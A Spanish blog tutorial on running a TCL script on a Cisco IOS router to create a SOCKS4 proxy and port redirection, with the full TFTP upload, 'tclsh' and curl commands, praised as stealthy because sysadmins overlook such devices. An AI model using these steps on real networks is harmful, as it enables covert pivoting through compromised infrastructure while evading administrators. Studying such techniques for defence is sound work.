Esta pagina se ve mejor con JavaScript habilitado

ProxySocks TCL en router/switch cisco

 ·  🎃 kr0m

En artículos anteriores estuvimos investigando como escanear puertos utilizando un script TCL desde IOS, ahora vamos a ver como redirigir puertos y crear un proxy socks4. Este método es muy stealth ya que la mayoría de sysadmins no sospechan de este tipo de dispositivos porque piensan que son demasiado tontos, nada mas lejos de la realidad.

La herramienta en cuestión es la siguiente https://github.com/mohemiv/TCLtools , en la web indican varias formas de subir código TCL, las dos primeras se consideran seguras, las otras dos no. En mi entorno de pruebas he probado los dos métodos seguros pero solo ha funcionando mediante servidor TFTP.

En el último artículo montábamos un servidor TFTP pero con Python será mas sencillo y rápido que montando dicho servicio, instalamos las librerias necesarias:

pip3 install py3tftp

Creamos el directorio donde nos bajamos la tool:

mkdir TCLtools
cd TCLtools

Nos bajamos el script ya sea desde el repositorio del proyecto o desde Alfaexploit:

Arrancamos el servidor TFTP:

py3tftp -p 69

Accedemos al dispositivo IOS y pasamos a modo enable:

User Access Verification
Password: 

netNode>enable 
Password: 

netNode#

Copiamos el script a la flash del dispositivo:

netNode#copy tftp://192.168.69.2/tclproxy.tcl flash:/tclproxy.tcl

Comprobamos que lo haya almacenado correctamente:

netNode#show flash

Directory of flash:/  
  431  -rwx       16624   May 6 1993 10:00:39 +01:00  tclproxy.tcl

Ejecutamos el script en modo proxySocks:

netNode#tclsh flash:tclproxy.tcl -D 1234 -n

Desde Curl podemos utilizar dicho proxy del siguiente modo:

curl --socks4 WANIPIOS:1234 icanhazip.com

WANIPIOS

Genial!! como podemos ver nuestra ip pública es la del router IOS.

También permite redireccionar puertos, en este caso lo que llegue al puerto 1234 acabará en 216.58.211.35:80, una de las ips de google.es:

netNode#tclsh flash:tclproxy.tcl -L 1234:216.58.211.35:80 -n

Comprobamos la redirección mediante Curl:

curl WANIPIOS:1234

<HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8">  
<TITLE>301 Moved</TITLE></HEAD><BODY>  
<H1>301 Moved</H1>  
The document has moved  
<A HREF="http://www.google.com:7755/">here</A>.  
</BODY></HTML>

Vemos la respuesta del servidor de Google, pero hemos utilizado el router IOS como puente intermedio.

Si te ha gustado el artículo puedes invitarme a un RedBull aquí